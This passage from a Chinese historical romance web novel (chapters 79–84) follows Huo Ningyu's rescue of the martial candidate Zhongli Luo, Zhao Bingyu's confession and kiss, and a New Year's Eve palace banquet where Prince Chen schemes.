“大姐,你还是太天真了,辰王是有望登顶的人,忠于他才有更好的前程。
而我们霍家只是一般的官家,而且还是文官。
又不是武将,还能提拔他一下。
无利可图,也就剩个救命之恩。最多人情往来一下罢了。”
霍鸣昶并不看好,大姐这一举动能带来什么好处。
第79章 你终于醒了
“不管如何,人已经救回来,他总会记我一份恩,以后只要不与我们为敌就好。”霍凝玉想得很开。
只要没被辰王握在手里就算成功。
“好吧。希望他能记大姐这份恩,不枉你在江上吹了几日冷风。”霍鸣昶耸耸肩,感觉大姐经了一世还是不够成熟。
“二弟,你可不能告诉他我吹了几日江风,那就露馅了。”
“漏什么馅?”这回换霍鸣昶笨了。
“当然是我守株待兔的事啊。让他知道我专程在那儿等着救他,可就有嘴也说不清了。”霍凝玉如看**似的瞪了他一眼。
“我有那么傻吗?”
两姐弟又说笑了一阵。
这时珍珠从外面进来。
“小姐,夫人说饭菜已准备好,请小姐和二公子去主院一起用膳。”
“我们这就过去。”霍凝玉摆了摆手。
“大姐,今晚,赵大人留宿,你猜娘会安排我们一起吃呢,还是男女分席吃?”霍鸣昶带着欠揍的笑容。
“我哪里知道?”霍凝玉一看弟弟的眼神就知道他在想些有的没的。
两人来到主院花厅。
霍鸣羡已经到了。
霍凝玉坐到平时自己常坐的位置上。
霍家主子少,一张圆桌,就五个凳子。
今日特加了一个凳子。
霍鸣昶向霍凝玉挑了挑眉,正如他猜测。
有一次他偷听到父母在谈大姐的婚事。
爹好像看中赵壑,娘也觉得很好。
但他没把自己听到的告诉大姐。
他怕大姐产生过激反应,毕竟姐姐刚受过情伤。
“爹和赵大人怎么还没来?”霍鸣昶想不通,爹一个文官和一个武职的皇城司使有什么可聊。
“来了。”他的话音刚落,霍鹏程就领着赵炳煜走到了门口。
主位是两夫妻的,三个孩子都习惯性坐到自己平时坐的位置。
只有霍凝玉身边临时加的位置没人坐,正好赵炳煜坐下。
容华芝见人到齐,开饭。
今晚的菜明显好了些。
“娘,我好久没吃到这道琉璃糖醋排骨了。今日是沾了赵大人的光呢。”霍鸣昶说着就要不顾礼仪,想先下手为强。
“有客人在,你给我注意点。那是你大姐爱吃的。”容华芝笑骂。
然后把那道菜换了个位置,离霍凝玉更近了些。
赵炳煜羡慕地看了霍凝玉一眼。
一家人都疼宠着的姑娘。
又想到之前在书房与霍大人的谈话。
如果他赢得了她的心,是不是以后他也与她一起享受这份浓浓的亲情。
“娘,我也爱吃。”霍鸣昶叫嚷着有意见。
“你手长。”容华芝瞪了他一眼。
霍鸣昶听了特意把胳膊伸长了比比。看着好像是比大姐的长点。
他身高都比大姐高了快一个头。
“吃吧。”霍鹏程宣布,先下筷。
有客人在,家主先动筷。
赵炳煜把容华芝刚才的话听进了心里。
首先夹起一块琉璃糖醋骨,轻轻放到霍凝玉碗里。
霍凝玉怔了怔,他才是客人,却为她夹菜,而且是当着她家人的面。
这样不好吧。
霍凝玉想说什么,可看到家人都埋头吃自己的,集体忽略了这一小方天地。
就连话最多的二弟也正在猛啃排骨。
吃得毫无形象。
霍凝玉脸有些发烫。
默默低下头,吃起那块琉璃糖醋排骨,赵炳煜夹的。
只是她刚吃完,又一筷子菜进了碗里。
“我自己来。”霍凝玉打破食不言的气氛。
一桌人都听到了,齐齐看向两人。
“赵公子,你也吃。”容华芝打破尴尬,夹了一筷子雪霁松烟鸭,隔着霍凝玉放到他碗里。
“多谢霍夫人。”自他母妃去世后,赵炳煜第一次感受到来自一位母亲的关爱。
他很认真地夹起塞到嘴里,慢慢咀嚼。
他吃过多次这道菜,今晚的最美味。
霍凝玉见他吃得享受,也给他夹了一块。
赵炳煜也认真吃了。
“好吃吗?”霍凝玉微笑问道。
“好吃。是我吃过最好吃的鸭肉。”赵炳煜中肯地夸奖这道菜。
“好吃就多吃点。”容华芝笑得和蔼。
这样的家庭,让赵炳煜感到无比欢愉。
有了开头,大家没再食不言,而是有说有笑。
赵炳煜在不知不觉中多吃了一碗饭。
他并不重口腹之欲,可今日的饭菜特别合他胃口。
他们刚放下碗筷
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。
守着病人的小厮匆匆来报。
“老爷,夫人,病人醒了。”
“这么快?”霍凝玉不可思议,果然身体底子好。
大家一起来到外院客房。
看到人当真醒了。
钟离洛刚醒,就看到自己正躺在床上,而且是陌生的房间。
床前守着两个小厮。
他刚一睁开眼就看到一个小厮正在给他擦脸。
他警惕地一把握住小厮的手,就要攻击,可看到小厮手里拿的是帕子,才顿住。
他突然想起自己昏迷前的经历。
他中了毒,头晕得再也支持不住,被敌人一剑刺中,跌进了东江。
他想游向岸,可是只游了几下就失去了意识。
一个小厮见他醒来,一溜烟跑出了房。
没过多久,一群人走了进来,有男有女,而且还有一人带着钟馗面具。
“公子,你终于醒了。可有哪里不舒服?”容华芝上前一步,关心问道。
还伸手在他额头上摸了摸,想感觉一下他的烧有没有退下。
太医一走,他就开始高热起来。
钟离洛不自觉就要躲,但他毕竟头还很晕,只是移了一点点,被容华芝摸了个正着。
“还烧着呢,不过没有下午那阵烫了。”
“你......你们.......是谁?”钟离洛艰难挤出几个字,声音沙哑。
小厮立即端了水给他喝下。
“我是户部尚书霍鹏程。你现在正在我家。
今日小女游江,从江里把你救起带回。
这位是皇城司使赵壑,是他请了太医来为你看诊,才救了你一命。”霍鹏程简单几句就把情况说清楚。
钟离洛在每个人脸上扫过。
最后定在霍凝玉脸上。
圆圆的苹果脸,特别讨喜。
一双凤尾眼,正明亮地看着他。
“多谢各位的救命之恩。”钟离洛身子一松。
在霍尚书家,他知道自己安全了。
“你身上除了刀剑伤,还中了暗器,如果没有及时解毒,你命休矣。”赵炳煜补充道。
钟离洛本就暗淡的眼神更暗了。
“说说怎么回事吧?”赵炳煜问道。
在京城地界发生刺杀案件,这也是他的职责范畴。
第80章 千里马遇伯乐
可是钟离洛并没有开口,而是紧紧地闭上眼,又深深吸了一口气。
众人都看出他内心在挣扎。
他不想说。
“公子,你是不是有难言之隐?”容华芝心生同情。
好好的孩子,却遭这么大罪。
要不是女儿特意等在那里,他肯定活不成。
钟离洛这才又睁开眼。
对上容华芝关心的眼神,他的心在这刻得到慰藉。
“霍夫人,在下叫钟离洛,从凉州府赶来,准备参加明年三月的武举比试。”钟离洛只说了自己的身份。
“你是钟离宏将军的儿子?”赵炳煜一听他报了姓名,立刻想到守边的钟离宏将军。
虽不是统领西面全军的主将,但也是重要将领之一。
钟离这个姓比较少。
凉州城正是与西凉国交界的边城之一。
“不是。他是在下的大伯。”
赵炳煜皱了皱眉。
一点此人的信息都没有。
一般守边的武将都需把家眷留在京城。
然,钟离宏在京城并没有家眷。祖籍离京城只有一百里地。
因为近,钟离家没有搬到京城来定居。
也是得了圣上应允的。
“本官记得钟离将军并没有嫡亲的弟弟。”
“我父亲自小体弱,很少在人前露面,在我刚出生一个月就去世了。
我娘是父亲的贴身丫鬟。祖母做主把我养在大伯一房,等我成年。
大伯疼我,教导我武艺。
而我是个习武的好苗子,后来又送我去拜师,直到去年才归家。”钟离洛说起自己的身世。
大家听了他的身世,好像没什么问题。
就是身份低了点,是个丫鬟生的,难怪赵炳煜不知道他。
“你为何会遇难?”赵炳煜又问回关键点。
钟离洛又顿住。
“赵公子,还是算了吧,钟离公子不愿意说,定有他的难言之处,我们不要勉强。”容华芝不忍。
一个铁骨铮铮的汉子都如此难于启口,定是不能说,或者他心里清楚,但不愿意说。
“那你好好休息,一切都等身体养好了再说。”赵炳煜只得放弃。
小厮喂了饭,又喂了一顿药,钟离洛又沉沉睡去。
翌日
钟离洛的烧才完全退去。
等到太医再次上门,都惊叹他的恢复能力。
“公子身体真是好。最多再躺三天就可下床活动活动。”太医笑道。
遇到这样的病人,他也省心不少。
“多谢太医。”
钟离洛看着太医收拾东西离去,就看到霍凝玉带着丫鬟走了进来。
“霍小姐。”
“好些了吗?”霍凝玉微笑着坐到床前的杌子上。
“好多了,多谢你救了我。”钟离洛从被子里抽出手,一抱拳。
“你放心在我家养伤,等你完全好了再做打算。”霍凝玉让他放宽心。
钟离洛露出淡淡微笑,但很快又恢复淡漠。
“钟离公子,赵大人因职责所在,才会在你刚醒就问你发生什么事。
我知道你遇到了难处。如果信得过我,你可以私下告诉我。我不会告诉其他人。”霍凝玉温声说道。
她想更清楚了解此人,如果真如弟弟所说,等他伤好了,就让他离去。
如果是个有恩必报,肝胆侠义的人,可以多帮帮他。
钟离洛转过头,对上霍凝玉的眼睛。
姑娘笑得温柔甜美,眼神中的关心丝丝缕缕。
他长这么大,除了师姐与他如此亲近过,再没有哪个女子如此待他。
还是救命恩人。
如果不是霍小姐在江里把他捞起来,并带回府救治,此时他已经死在了江里。
救命恩人所问,他......
“霍小姐,我本是钟离家二房的庶子,我爹直到去世前都没有娶妻。
但为了给我爹留下一丝血脉,祖母才让贴身丫鬟伺候了我爹,才有了我。
二房也就有了继承人。
我大伯对我很好,可是我大伯母却总是看我不顺眼,可大伯时常不在家。
大伯知道我在家的日子不好过,又把我送出去学艺。
我的两个堂兄已跟着大伯在边关建功立业。
而我想去时,大伯母死活不让,说得很好听,我们二房只有我一根独苗,不能有半点闪失。
我学了这么多年的武艺,我不想荒废。
我还是偷偷去了边关,大伯见我武艺不错,如果想要更广的前程,参加武举是最好的捷径。
几月前,我回了家,背着大伯母参加了武举府试,得了头名。
又背着家里提前进京,而此事让大伯母知晓。
我大伯母派人来追我,让我回去,说是祖母病重。
我以为是真的,又匆匆回去,结果发现是大伯母骗我回去,目的就是为了阻止我进京考武举。
还在我的饭里下毒。
后来被我识破,祖母才大发雷霆,放我出门。
可没想到大伯母却要置我于死地。请了**来要我命。”
钟离洛断断
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续续,讲了自己这些日子的经历。
说完后,他忍不住眼眶发红。
霍凝玉没想到会是这个原因,真是可悲。
“你大伯母不想你出人头地盖过她的儿子,还是不想你继承你父亲的那份家业?”霍凝玉生出同情之心。
“两者都有。”
得知真相,霍凝玉一时不知道说什么来安慰他。
“霍小姐,你对在下的救命之恩,在下没齿难忘。以后如果有用得着在下的地方,在下定义不容辞。”钟离洛如发誓般郑重道。
“好,有你这句话,我也没白救你,知恩图报,是条汉子。你放心住在我家,有什么需要,只管说。”霍凝玉要的就是他这个承诺。
“霍姐姐。”一个孩童的声音在门口响起。
霍凝玉一转身,脸上笑容更浓了。
“小殿下,怎么这时候来了?”
“霍姐姐,宗学已经放年学了。”赵凌哲一蹦一跳进来。
后面跟着两个伺候的宫人,被赵凌哲一挥手制止,不敢进来。
“你母妃放心让你出来?”霍凝玉摸了摸他的肩,顺了顺他的衣服。
如大姐姐般关心。
“母妃亲自送我到门口,她去外祖父家了,回来时再来接我,我今天可以在霍家玩一天。”
“嗯?你是来玩的?”霍凝玉立刻板起脸。
“不,不是,我是来找先生请教学问的。”小家伙立刻老实乖巧。
“这还差不多。”
“这人是谁?”赵凌哲看向钟离洛。
钟离洛听着他们的谈话,心里震惊霍小姐居然与皇家的孩子这么亲近,但没猜出其具体身份。
“钟离公子,这是东宫的世子,三皇孙殿下。”霍凝玉介绍道。
“草民钟离洛见过皇孙殿下。”
“你怎么在霍姐姐家?”赵凌哲好奇问道。
霍凝玉简单把他的情况说了一遍。
当说到他的家庭时,她顿了顿,再征求钟离洛的意见,要不要告诉小皇孙。
霍凝玉悄悄向他使眼色,希望他点头,得到同意,霍凝玉连他是如何遭此横祸的事也说了。
听得赵凌哲气愤不已,妇人就知道盯着那点家业。
“你好好养好身体,到明年武举还有三个多月时间,身体好了就好好练武,本世子给你做推荐人。
你这么狼狈进京,估计你的装备都弄丢了吧,明日本世子给你一套最精良的,保你在比试时大发神威。”
赵凌哲拍着小胸脯,一副伯乐发现千里马的模样。
第81章 我想娶你
“多谢殿下。草民定不负殿下所望。”钟离洛欣喜道。
没想到他进京能遇到这么多贵人。
之前的苦难只是考验,原来人生的转折来得这么快。
“本世子等着。”
“皇孙殿下倒是会做好人。”这时赵炳煜进来,手里拿着一把弓。
“本世子看好他。”赵凌哲一脸傲然。
“本官今日派人去查了东江上游,发现一个山崖上有五具尸体,还有这把弓,你看一下是不是你的?”赵炳煜把弓递到钟离洛前面。
一大早他就安排人去查。
此人他一定要调查清楚。
他得保证他对霍家无害。
“是在下的。”钟离洛一眼就认出来。
赵大人本事了得,这么快就找到了他落水的地方。
“那五人的尸体已带回刑部,仵作判断是训练有素的**。
本官只想知道,是不是敌国所为?”赵炳煜严肃问道。
“赵大人何出此言?”钟离洛没想到他猜测的也太过离奇。
“我南楚武将人才少,敌国在我南楚安插不少探子,如果发现有能力出众的武将人才,定会在他们没成长起来前,提前杀之,意在削弱我南楚武将实力。”
这话让钟离洛陷入深思。
要真是如此,那么他的大伯母或许被人利用了。
但,她的确起了要害他之心,这个毋庸置疑。
“赵大人,要真是如此,那么其他州府入京的武举人可能也会遇到与在下一样的刺杀,如果可以,能否请官府派人接应?”
钟离洛想通了赵炳煜的担忧。
“你不怕那些人都平安进京,你的竞争对手更多?”赵炳煜故意试探。
“赵大人,不可以小人之心渡君子之腹。
在下也是南楚人,保家卫国是我等的壮志,怎会因一己之私而不顾家国之危。
在下就算不能胜出也一样可以投军,建功立业。
大伯时常教导在下,一个军人当以保家卫国,守百姓家园为己任。”钟离洛不顾伤口疼痛,大声反驳,以表对南楚的忠心。
他是大伯一手教导,从小耳濡目染。
听了他的话,赵炳煜暗自点头。
是个心胸宽广的。
赵凝玉也双眼含星。
真没救错。
“钟离公子,你好好休息,争取早些养好伤,明年三月大放异彩。”霍凝玉给他鼓劲。
几人出了病房,霍凝玉打发赵凌哲去找霍鹏程上课。
赵炳煜则带着她去园子里。
两人走在小道上,微风拂过,树上还有几片没掉的叶子落下几片,其中一片正好落在霍凝玉头上。
赵炳煜顺手帮她捡下,看到她的步摇插得有些歪了,他轻轻抽出,又重新给她插好。
“赵大人。”霍凝玉被他的动作给惊得心怦怦乱跳。
“你......可以叫我赵大哥。”赵炳煜面对着她,低沉的声音在她耳畔响起,极具诱惑。
“赵,赵大哥。”霍凝玉嗫嚅着叫了一声。可心跳的速度更快了。
“凝玉,我有一个疑问。”赵炳煜早就发现一个问题,但没有证据,一直不曾问出口。
“什么疑问?”
“自你救起三皇孙开始,我发现你请我帮忙做的每一件事都有一个共同的目的。”赵炳煜分析过多次,再结合他所知道的一些事,真相越来越明显。
“什么目的?”霍凝玉惊愕。
她哪里漏馅了?
“你不是在挖辰王的墙角就是在断辰王的羽翼。”赵炳煜眼神紧紧盯着霍凝玉,不容她躲避。
他想多了解她一些。
他想帮她更多一些。
霍凝玉被他的话给惊得眼睛不由自主睁得大大的,看着他,小嘴一张一合,不知道如何接话。
因为他说得非常正确,她就是在挖辰王的墙角,断他的羽翼。
“你......是什么时候看出来的?”霍凝玉稳了稳心神,吸了吸鼻子,又猛眨了几下眼睛。
因为他又勾她想起了全家惨死的场景。
“昨日,你说了救钟离洛的原本是辰王,现在是你。我就开始怀疑,再结合之前的事。我不得不这么想。”赵炳煜认真道。
揭穿林叙卿时,他就有所怀疑,因为他知道林叙卿已经与辰王关系密切。
同时又因此找出京中不少养外室的,其中很大一部分都是辰王的人。
“是,我的目的正如你所说。是不是认为我不自量力?”霍凝玉擦了擦眼睛,泪意已经控制不住。
“告诉我为什么?”他的猜测果然没错。
这小妮子胆子真大,救了三皇孙,霍尚书做了三皇孙的先生,就以为霍家被贴上了太子堂的标签。
就敢为太子谋划了?
枪打出头鸟,要是做得太过,其他几位皇子只会
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更早动手毁了霍家。
“赵大人,我可以完全信任你吗?”霍凝玉昂起头,带着泪意的眼睛望着他。
这世上能帮她的人,只有他最合适,要是他不帮她,她要怎么办?
父亲并不结党营私,在朝堂上并没有多少人脉,也正因为此,圣上才把最重要的户部交到父亲手里。
“当然。你说出来,我才知道如何帮你。你做得对不对,我也能帮你判断。”赵炳煜说得无比认真而肯定。
“赵大哥,呜呜......”这一刻,霍凝玉如找到主心骨般,也不管男女大防,扑进男人的怀里,她想寻求安慰。
赵炳煜身子一僵。
怎么哭得这么伤心?难道发生了什么大事?
“告诉我,发生了什么事?”赵炳煜焦急问道。
“赵大哥,辰王他.....他为了夺位,杀了我全家。”霍凝玉颤抖着说出她最痛苦的秘密。
“什么?”赵炳煜怎么也想不到,会是这么大的事。
“是不是你梦里梦见的?”只有这种可能,因为霍家人都还好好的活着。
“嗯!”霍凝玉在他怀里用力点头。
“什么时候会发生?”赵炳煜被这个信息给炸得说话都失了平时的淡定。
“还有一年多。”霍凝玉闷闷道。
赵炳煜一怔,还有一年多才发生的事,她都能梦到。
还好,还有一年多时间。
一切都还来得及。
赵炳煜微微收拢胳膊,将她轻轻拥在怀里,让她哭个痛快。
直到她慢慢收住哭声。
“赵大哥,你会帮我的,对不对?”霍凝玉此时对他完全放下心防。
一个武官能起的作用和文官完全不同。
全靠霍家父子几个文人根本起不了多大作用。
“当然。”
“赵大哥,有你真好。”霍凝玉无比感动。
她说出来是对的。
“凝玉,还想对付谁?只要你高兴,本官给你开路。”赵炳煜轻轻推开怀里的人儿一点点,看着她的眼睛说道,如承诺一般。
“你为什么这么积极?”霍凝玉感觉赵炳煜与平时不太一样。
眼里溢出满满的温柔和缠绵。
刚刚平复下的心,又狂跳起来。
他炽热的眼神让她想躲闪。
“因为……”他喉头滚动,慢慢低下头,唇离她的唇越来越近,“我想娶你!”
第82章 随缘吧
霍凝玉瞬间呆住。
他说什么?
娶她?
呆住的霍凝玉傻傻地看着离她越来越近的男子气息。
当那温热的唇贴在她的唇上的一刹那,她猛然回神。
她居然被赵大哥给亲了。
脸烫得如火烧云。
赵炳煜只是浅尝辄止。
他知道此事不可操之过急。
“你......”
霍凝玉羞得转身就跑。
她从没想过要再嫁人,更没想过要嫁给赵炳煜。
她与他亲近,是想与他关系更近,把他当朋友,当亲人。
然后再利用自己的先知和他在圣上面前的地位,一步步实现她复仇的目的。
她也知道这样利用人家不好,可这种利用,不是要他上刀山下火海,只是他的身份和职务正合适,又能帮他建功立业,在圣上面前是办事能臣,更有体面,他的地位稳固。
这是双赢。
他怎么就对她有那个意思了?
赵炳煜看着跑远的姑娘,也不追。
唇上那柔软的触感还在。
原来亲一个姑娘是这种感觉。
人生第一次做轻薄姑娘的事。
感觉真不错。
回味过后,收回心神。
辰王会对霍家下手?
以目前霍尚书的为人和处事方式,不应该啊。
忠于圣上的老臣,不偏不倚,应该四平八稳才对。
刚才还是急了点,应该问得更清楚些。
来日方长。
可姑娘的芳心,不能等来日方长。
那个叫什么廖含章的,明显有那个意思。那人他倒不担心,自找没趣,就是有点膈应人。
这又救了一个钟离洛,虽还没那个意思,但他被凝玉所救,估计为了报恩,说不定时日一久,也想以身相许。
要是她利用梦里的先知,再救几个青年才俊,他还有多少优势?
自昨夜霍鹏程把话挑明,他就迫不急待起来。
真是情不知所起啊。
他做梦都不会想到,有一日,他会对一个姑娘如此期待。
回了凝华院的霍凝玉匆匆进了内室,把门一关,扑在被子上。
脸上的灼烫还没有消失。
他怎么可以这样?
他竟然对她生了情,这可如何是好?
以后还怎么合作?
可是想到他的人生,他也是个可怜人。
要是拒绝了他,他会不会再也不理她了,再也不会帮她了?
今日才刚刚告诉他,霍家未来所遇的大难,他就向她示爱。
他是故意逗她的,还是真的喜欢她,想娶她?
她要如何做,才能两全其美?
霍凝玉纠结的脑子拧成了一团。
“啊!”霍凝玉发出低低的尖叫来抒发心里的一团乱麻。
“我要怎么做?”霍凝玉翻了个身,仰躺在床上。
又想到她与谢正阳的前世。
她对谢正阳动过真心吗?
谢正阳对她是演戏,而她好像一切不过是按部就班而已。
女大当嫁,她就嫁了。
做好一个妻子的本分。
也就两个月时间而已,她就开始病病歪歪。
思来想去,她其实根本就没有认认真真喜欢过一个男子。
可今日赵大哥的亲近,却让她不知所措。
她对他有情吗?
她扪心自问。
有,好像更像亲情。
这几个月来,她从没想过要嫁人。
霍凝玉想到睡着,也没理出个头绪来。
随缘吧!
最终在心里念着这三个字闭上了眼睛。
当她醒来得知赵炳煜已经离开霍府,她大大松了一口气。
估计年前都不会再见到他。
容华芝为过年准备了好些吃食。
霍凝玉总会悄悄拿一些来给钟离洛一起分享。
这几日,他恢复得很快,已经可以下地走动,而不会扯得伤口出血。
好在都是皮外伤,没有伤及内里和骨头。
最要命的就是**。只要一解,他的精神就好了很多。
赵凌哲这几日天天都来霍府。
趁霍鹏程最近不用上朝上职,多上点课。
每日都把时间安排得满满的。
今日已是腊月二十八,赵凌哲还如昨日一样来报到。
但没有第一时间去书房,而是跑进内院找霍凝玉。
“霍姐姐,快看,我带了好东西来。”赵凌哲兴奋地叫道。
霍凝玉正在梳妆,这小屁孩不顾男女有别,就冲进了她的内室。
幸好她起床了。
霍凝玉从镜子里就看到他手里拿着一条长鞭。
“殿下,你拿个鞭子做什
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么?你要**吗?”霍凝玉疑惑。
“霍姐姐,我让母妃给我准备一套武试要用的武器,在库房看到这条鞭子,而且还是女子最喜欢的款式,细长,柔韧。
我想送给霍姐姐。以后谁要是敢欺负你,你就用这条鞭子抽他。”赵凌哲说得激昂。
“殿下,我是文人家的姑娘,不是武将家的小姐,不会甩鞭。”霍凝玉翻了个白眼。
这孩子,不是看见她最近只爱琴棋书画吗?
“那怕什么?那个钟离洛不是要考武试吗?他肯定会用鞭,让他教你。
他要是不教,我给他准备的好东西一样也不给。
我连宝马都给他准备了一匹。花了我好些银钱。”
霍凝玉无语,居然连师傅都给她找好了。
霍凝玉转念一想,要是有点防身之术也不错,说不定什么时候就用上了。而且还能强身健体,一举两得。
“好吧,我收下你的这份心意。”
“这就对了。霍姐姐,明日我就不来了,后日就是除夕,我们在宫里见。”赵凌哲很舍不得的样子。
他对霍凝玉十分亲近。
在她面前可以想说什么说什么,很自在。
在父王和母妃面前要守各种规矩,真讨厌。
“好,宫里见。”
客房里,钟离洛正在欣赏三皇孙让人带给他的几样武器。
件件精品,不愧是东宫里的东西。
一把钩镰枪,侧向突出带倒钩,钩尖内曲,一旦中枪,带走一片血肉。
枪头锃亮,钟离洛爱不释手。
一把大刀,刀身如一弯寒月坠入尘寰,好似墨色里沉淀着无数战场上的嘶吼。
当指尖轻抚过刃口,能触到细密如冰裂的锻造纹路。
钟离洛善使大刀,对这把刀更是满意。
还有一柄长剑,剑身如一泓秋水凝滞千年,恍若深潭藏蛟,隐有龙吟欲破。
还有一个五石大弓。
每一件都让钟离洛看得痴迷。
这些武器都是他以前难得一见的宝贝,而现在全都给他用,他对三皇孙此举更是感激不尽。
以后,他定会报答今日的知遇之恩。
“钟离洛,本世子交给你一个重要任务。”
门口突然响起赵凌哲的声音才把沉迷在武器中的钟离洛拉回神。
第83章 霍家的孩子是香饽饽
“见过皇孙殿下。”钟离洛见是赵凌哲,立即一揖到底,“请殿下示下。”
“本世子刚才送了一条细鞭给霍姐姐,你要负责教会她怎么用。”赵凌哲如命令般,昂了昂头。
“遵命。”钟离洛只顿了一下就接下了任务。
他现在伤已养得差不多,可他却舍不得离开霍府。
霍家人让他留恋。
霍乡君的救命之恩他铭记于心。
同时他内心有种渴望,他想多见几次霍乡君。
哪怕远远看一眼,他也很满足。
应下遵命两字,他心里雀跃。
有了正当理由多与救命恩人相处,求之不得。
时间很快来到除夕。
宫里设宴。
皇室宗亲,勋贵之家,五品以上官员都收到了皇后娘娘发出的金贴。
霍凝玉打扮一新,戴上赵炳煜从内务府挑来的那套十二件套首饰。
眉若远山含黛,眼尾点着浅金花钿,恰似雪夜初绽的腊梅蕊。
外罩一件绛红遍地金牡丹纹的缎面斗篷,狐毛领口洁白如雪,衬得她脖颈修长如玉。
内里是十二幅湘色缠枝莲纹马面裙,每走一步,裙摆翻涌如云,露出底下绣着金线衬裙。
“小姐这身,定要叫满宫红翠都失了颜色。”珍珠左看右看自家小姐。
真真美若天仙。
“是啊,小姐,今日进宫可得让那些眼高手低的贵女们好好羡慕羡慕。”玛瑙又为霍凝玉整理了一下腰带。
“不知今日青黛会不会进宫?好些日子没见她了。”霍凝玉最近都忙自己的。
两人只书信往来。
“会的。万小姐如今的性子与以前变了好些,不在继母手下讨生活,人也鲜活起来。听说万二夫人正在给她相看人家。”珍珠说道。
“这是迟早的事。”霍凝玉为好友欣慰。
必死的命运因她的重生而改变。
经过大难的人总会活得比以前更明朗。
一家人在霍鹏程的带领下入宫。
皇帝爱热闹,赴宴的人家多。
男子走东华门入宫,女子从内廷北门入宫。
来到皇后宫中。
不少外命妇和内命妇已经在坐,说说笑笑,欢愉声不断。
“臣妇(臣女)拜见皇后娘娘,娘娘万福金安。见过各位娘娘。”母女俩恭敬见礼。
“快快免礼。赐坐。”皇后娘娘微笑着叫起。
皇后娘娘名吕昭华,原是嫔位,乾德帝为了平衡内廷,不让一家独大,提了娘家不显的吕氏为继后。
直到现在吕皇后的弟弟也只是一个外任的知府。
为此还引来一场内廷外廷风波,好在乾德帝雷霆一怒,杀了几个出头的才压下去,借此直接封皇后所出的第三子为太子,也就是赵凌哲的父王。
让贵妃和贤妃两派竹篮打水一场空。
“霍姐姐。”霍凝玉刚刚站直身子,就听到熟悉的声音。
赵凌哲这次居然在皇后宫里,而不是出去顽皮。
“皇孙殿下?”
“本世子专程在皇祖母这儿等你,你怎么现在才进宫?浪费了本世子好些玩耍的时间,你得赔我。”赵凌哲说着话,跑上前来牵了霍凝玉的手就往外拉。
“去吧,”皇后摇了摇头,一脸无奈,“不可再到水边玩。”
“知道了,皇祖母。”
“霍夫人,霍乡君很讨我们东宫世子喜欢呢。”工部尚书夫人刘氏羡慕不已。
“别看凝玉已经十七了,被我们宠得直到现在也没长大,还是个孩子心性,可不就与小殿下能玩到一起了。”容华芝轻笑道。
“霍乡君年纪也不小了,可有相看人家?我娘家有个侄儿,学问不错,明年会试定能高中。”
这话题一打开,好几位夫人都热心地给容华芝推荐优秀儿郎。
但仔细分析,那些儿郎不过是些末流。
没一个真正成才的。
等众人都停了口,容华芝才一一回以淡笑。
“凝玉是我们夫妻捧在手心里长大的,从没受过苦。
之前那事对她打击太大,直到现在她也没有一点要嫁人的心思。
等孩子想开些了再说,我们都怕在她面前提起婚嫁之事。”
众人见容华芝说得认真,也不再纠缠。
但她家的两个儿子也还没说亲。
又一轮推荐各家女儿侄女的轰向容华芝。
陈大夫人也正好在座。
看到一个个都想把女儿或者侄女等嫁进霍家。
她气得脸色阴沉,手里的茶杯
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都快被她捏碎。
“多谢各位的好意,儿大不由娘,我家鸣羡非要等考完会试放榜后再说亲事。
至于鸣昶还小,性子不定,还是等他再大些,知道自己想与什么样的姑娘共度一生再谈也不迟。
这儿女姻缘啊,还得要孩子自己喜欢,以后才能夫妻和睦,皇后娘娘,您说是不是这个理儿?”容华芝又四两拨千斤,堵了众人的嘴。
陈大夫人再也坐不住,向皇后说了声去逛逛园子,落魄离去。
容华芝看她离去的背影,心里嗤笑。
霍凝玉被赵凌哲拉着去玩投壶。
小家伙别看只有六岁,居然投得比霍凝玉还要准。
虽然他投的那个壶,嘴要大些,但他只有六岁,臂力小。
“小殿下,你是不是练过?”霍凝玉吃惊。
“自上次落水后,父王就给我请了武学师傅,我已经练了几个月马步了,师傅还给定制了一套练臂力的工具。我也在练。”赵凌哲自豪地举了举自己的小胳膊。
霍凝玉暗自点头。
看来太子夫妻已经改变了态度。
以前总怕三皇孙有个什么闪失,落了一次水,终于明白过度保护,对孩子没有好处。
难怪最近老往她家跑,也不管。
孩子就是要放出去,经历一些事,才能成长得更快。
玩了一会投壶,赵凌哲又拉着霍凝玉向琼玉湖边而去。
“你皇祖母不是不让你去水边的吗?”霍凝玉可不想救他第二次,今日除夕,水冰冷入骨。
“怕什么?难道一朝被蛇咬,就要十年怕井绳吗?我要是这么胆小,以后怎么保护我的父王和母妃?”赵凌哲一副老学究般教训霍凝玉。
然而,小小孩童的话却让霍凝玉心灵震颤。
她可不就是遭蛇咬,然后不想嫁人吗?
想到赵炳煜那日浅浅的一吻,她被惊得转身就跑。
她在逃避,如鸵鸟般把自己藏起来。
连孩子都不怕,而她却怕了。
她连一个孩子都不如。
这一刻,豁然开朗,霍凝玉脸上带起灿烂的笑容。
“殿下说得太对了。”
两人走过一个凉亭,霍凝玉眼睛一缩。
看到两个并不想见到的人。
第84章 江宁掉进冰冷的湖里
“皇姑姑,皇伯父。”赵凌哲也看到了两人,很礼貌地叫人。
正是辰王赵昀辰和大公主赵明月。
“臣女见过大公主殿下,辰王殿下。”霍凝玉也一礼。
压下心里猛然升起的恨意。
“免礼。”赵明月抬了抬手。
“凌哲,你几个堂哥在那边玩蹴鞠,你也找他们玩吧。今日难得你母妃不拘着你。不过要注意,不可离水太近。”辰王本与大公主在聊私事,结果被这小子打了岔。
快些打发他走。
辰王眼神阴鸷地看了一眼霍凝玉,在她身上扫了两眼。
他最近被禁足在府,今日过年才解禁,就是此女所害。
这几个月他虽不能出府,但消息一样也没落下传进辰王府。
霍家女助赵壑那条狗破了一桩大案,又揪出京中官员养外室之事,害得他损失了几个帮手。
他好不容易拉拢的人。
这个女人,是如何知道的?
他一直没调查清楚。
霍凝玉感觉到辰王射来的目光极不友善,但她并不惧,只淡淡福了福身,带着赵凌哲离去。
辰王的视线追随着霍凝玉的身影,直到看不见,才收回。
“大皇姐,听说你的不孕症已经治好了?臣弟在此恭喜你。”辰王换上一副温润的笑脸,但那笑却意味深长。
“辰弟的消息很灵通嘛。”赵明月淡笑道。
她本一人在此赏景,辰王主动找上来,也不知他有什么话与她聊。
她出京大半年,回来后辰王一直禁足,两人快一年没见面了。
关系自是有些生疏。
“大皇姐,那杨氏可还好用?”辰王话里有话。
赵明月一怔,眼神一凝。
“她是你的人?”赵明月震惊失声。
“大皇姐,这世上没有那么多巧合,杨氏母女正好被你遇上,秦老将军正好病重,秦苍霆正好陈情回来侍疾。
不过你放心,那杨氏也不算本王的人,不过是被本王发现医术不错,想了个办法送到你身边。
臣弟知道大皇姐需要这样的人伺候在身边。”辰王直接点明。
“你什么意思?”赵明月明知故问。
